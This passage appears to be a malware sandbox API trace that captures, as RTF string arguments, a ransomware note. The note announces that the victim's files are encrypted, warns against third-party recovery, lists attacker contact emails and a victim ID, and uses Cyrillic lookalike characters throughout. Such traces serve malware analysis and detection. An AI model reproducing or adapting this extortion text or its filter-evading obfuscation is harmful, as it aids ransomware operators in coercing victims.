r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 